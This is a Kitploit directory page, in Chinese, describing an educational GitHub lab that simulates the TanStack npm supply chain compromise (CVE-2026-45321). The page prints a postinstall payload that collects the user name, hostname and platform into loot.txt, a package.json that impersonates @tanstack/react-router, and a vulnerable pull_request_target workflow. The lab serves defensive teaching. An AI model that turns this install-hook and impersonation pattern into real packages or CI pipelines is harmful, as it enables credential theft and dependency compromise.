Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-45321-Tanstack — Educational lab simulating npm supply chain attacks, CI/CD abuse, and install-time code execution via CVE-2026-45321. Hands-on defensive security research for understanding dependency compromise and lifecycle hook exploitation. | Kitploit
工具/GitHubGitHub/renewablehacking/cve-2026-45321-tanstack
漏洞分析恶意软件分析供应链安全学习与教育实验室与实践
GitHubrenewablehacking/cve-2026-45321-tanstack

CVE-2026-45321-Tanstack

Educational lab simulating npm supply chain attacks, CI/CD abuse, and install-time code execution via CVE-2026-45321. Hands-on defensive security research for understanding dependency compromise and lifecycle hook exploitation.

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
23个月前尚未审核
分享

供应链攻击模拟 — CVE-2026-45321 (TanStack)

用于理解 npm 供应链攻击、CI/CD 滥用及安装时代码执行的教育实验室

免责声明

本项目仅用于:

  • 网络安全学习,
  • 防御性安全研究,
  • 本地实验室模拟,
  • 理解供应链攻击概念。

请勿将本项目用于:

  • 攻击真实系统,
  • 窃取凭证,
  • 恶意软件部署,
  • 未授权访问,
  • 或其他非法活动。

描述

本实验室模拟了以下事件的基本概念:

  • CVE-2026-45321
  • TanStack npm 供应链入侵
  • GitHub Actions CI/CD 滥用
  • npm 生命周期脚本执行

模拟在本地安全进行,不涉及:

  • 真实凭证窃取,
  • 令牌泄露,
  • 或第三方服务入侵。

实验室结构

root@kitploit:~
lab/
├── fake-repo/          # 模拟目标仓库
├── attacker-package/   # 模拟恶意包
└── victim-project/     # 模拟受害者

模拟工作原理

root@kitploit:~
攻击者包
        ↓
npm install
        ↓
postinstall 脚本运行
        ↓
payload.js 自动执行
        ↓
受害者遭受安装时执行攻击

学习概念

  • npm 生命周期钩子
  • 安装时任意代码执行
  • 供应链攻击
  • CI/CD 信任边界
  • 恶意 npm 包
  • postinstall 滥用
  • 依赖项入侵

安装

1. 克隆仓库

root@kitploit:~
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

设置攻击者包

2. 进入攻击者包文件夹

root@kitploit:~
cd attacker-package

3. 安装依赖

root@kitploit:~
npm install

4. 构建 tarball 包

root@kitploit:~
npm pack

结果:

root@kitploit:~
tanstack-react-router-1.169.5.tgz

模拟受害者

5. 进入受害者项目

root@kitploit:~
cd ../victim-project

6. 安装恶意包

root@kitploit:~
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

输出

如果成功,将显示:

root@kitploit:~
=== MALICIOUS PAYLOAD EXECUTED ===

并且文件:

root@kitploit:~
loot.txt

会被自动创建。


示例 payload.js

root@kitploit:~
const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

示例 package.json

root@kitploit:~
{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

CI/CD 模拟

本项目还可以用于理解:

  • GitHub Actions
  • pull_request_target
  • CI/CD 权限边界
  • 依赖执行

工作流示例:

root@kitploit:~
name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install

与 CVE-2026-45321 的关系

实验室模拟真实世界
attacker-package被入侵的 TanStack 包
payload.js恶意安装程序
postinstall生命周期钩子滥用
victim-project

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2026-45321
  • https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
  • https://docs.npmjs.com/cli/v10/using-npm/scripts
  • https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

仅限教育目的

本实验室旨在提高对以下方面的认识:

  • 供应链安全,
  • 依赖项安全,
  • CI/CD 安全,
  • 以及防御性安全研究。
下载工具
受害者开发者/CI 环境
fake-repoGitHub Actions 管道